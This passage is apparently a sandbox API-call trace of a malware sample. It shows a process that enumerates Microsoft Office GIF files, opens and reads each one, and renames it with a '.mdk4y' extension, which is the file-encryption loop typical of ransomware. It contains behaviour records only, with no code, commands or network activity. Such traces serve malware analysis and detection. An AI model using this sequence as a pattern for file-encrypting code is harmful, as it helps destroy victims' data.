Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif.mdk4y")) returned 1 [0199.844] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.844] AreFileApisANSI () returned 1 [0199.844] GetACP () returned 0x4e4 [0199.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR49B.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR49B.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.844] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827507500000) returned 1 [0199.846] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1cd7, lpOverlapped=0x0) returned 1 [0199.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827507700000) returned 1 [0199.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827507700000) returned 1 [0199.847] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif.mdk4y")) returned 1 [0199.849] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.849] AreFileApisANSI () returned 1 [0199.849] GetACP () returned 0x4e4 [0199.849] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR49F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR49F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.849] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.850] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827508000000) returned 1 [0199.850] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1b99, lpOverlapped=0x0) returned 1 [0199.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827508200000) returned 1 [0199.852] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827508200000) returned 1 [0199.852] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif.mdk4y")) returned 1 [0199.854] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.854] AreFileApisANSI () returned 1 [0199.854] GetACP () returned 0x4e4 [0199.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR4B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR4B.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0199.855] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827508600000) returned 1 [0199.856] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2fc2, lpOverlapped=0x0) returned 1 [0199.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827510400000) returned 1 [0199.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827510400000) returned 1 [0199.875] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif.mdk4y")) returned 1 [0199.877] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.877] AreFileApisANSI () returned 1 [0199.877] GetACP () returned 0x4e4 [0199.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR4F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR4F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0199.878] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827510900000) returned 1 [0199.879] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8edb, lpOverlapped=0x0) returned 1 [0199.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827511100000) returned 1 [0199.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827511100000) returned 1 [0199.882] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif.mdk4y")) returned 1 [0199.883] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.884] AreFileApisANSI () returned 1 [0199.884] GetACP () returned 0x4e4 [0199.884] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR50B.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR50B.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.884] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827511500000) returned 1 [0199.885] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x10a7, lpOverlapped=0x0) returned 1 [0199.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827514000000) returned 1 [0199.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827514000000) returned 1 [0199.910] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif.mdk4y")) returned 1 [0199.913] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.913] AreFileApisANSI () returned 1 [0199.913] GetACP () returned 0x4e4 [0199.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR50F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR50F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.913] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827514400000) returned 1 [0199.914] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x117f, lpOverlapped=0x0) returned 1 [0199.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827515600000) returned 1 [0199.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827515600000) returned 1 [0199.927] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif.mdk4y")) returned 1 [0199.930] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.930] AreFileApisANSI () returned 1 [0199.930] GetACP () returned 0x4e4 [0199.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR51B.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR51B.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.930] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827516100000) returned 1 [0199.931] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2395, lpOverlapped=0x0) returned 1 [0199.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827517500000) returned 1 [0199.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827517500000) returned 1 [0199.945] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif.mdk4y")) returned 1 [0199.947] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.947] AreFileApisANSI () returned 1 [0199.947] GetACP () returned 0x4e4 [0199.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR51F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR51F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.947] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827517800000) returned 1 [0199.948] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1179, lpOverlapped=0x0) returned 1 [0199.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827518000000) returned 1 [0199.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827518000000) returned 1 [0199.950] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif.mdk4y")) returned 1 [0199.951] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.951] AreFileApisANSI () returned 1 [0199.951] GetACP () returned 0x4e4 [0199.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR5B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR5B.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0199.951] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827518200000) returned 1 [0199.952] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x592b, lpOverlapped=0x0) returned 1 [0199.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827519800000) returned 1 [0199.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827519800000) returned 1 [0199.968] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5b.gif.mdk4y")) returned 1 [0199.971] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.971] AreFileApisANSI () returned 1 [0199.971] GetACP () returned 0x4e4 [0199.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR5F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR5F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0199.971] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827520100000) returned 1 [0199.972] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xdb2e, lpOverlapped=0x0) returned 1 [0199.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827520300000) returned 1 [0199.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827520300000) returned 1 [0199.974] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5f.gif.mdk4y")) returned 1 [0199.975] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.975] AreFileApisANSI () returned 1 [0199.975] GetACP () returned 0x4e4 [0199.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR6B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR6B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0199.975] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.977] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827520700000) returned 1 [0199.977] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2ade, lpOverlapped=0x0) returned 1 [0200.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827524800000) returned 1 [0200.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827524800000) returned 1 [0200.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6b.gif.mdk4y")) returned 1 [0200.020] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.020] AreFileApisANSI () returned 1 [0200.020] GetACP () returned 0x4e4 [0200.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR6F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR6F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0200.020] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827525100000) returned 1 [0200.021] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x41e5, lpOverlapped=0x0) returned 1 [0200.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827527100000) returned 1 [0200.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827527100000) returned 1 [0200.042] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6f.gif.mdk4y")) returned 1 [0200.043] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.043] AreFileApisANSI () returned 1 [0200.043] GetACP () returned 0x4e4 [0200.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR7B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR7B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0200.043] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.044] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827527400000) returned 1 [0200.044] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5559, lpOverlapped=0x0) returned 1 [0200.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827528500000) returned 1 [0200.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827528500000) returned 1 [0200.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7b.gif.mdk4y")) returned 1 [0200.057] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.057] AreFileApisANSI () returned 1 [0200.057] GetACP () returned 0x4e4 [0200.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR7F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR7F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0200.057] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827529000000) returned 1 [0200.060] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5fdf, lpOverlapped=0x0) returned 1 [0200.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: 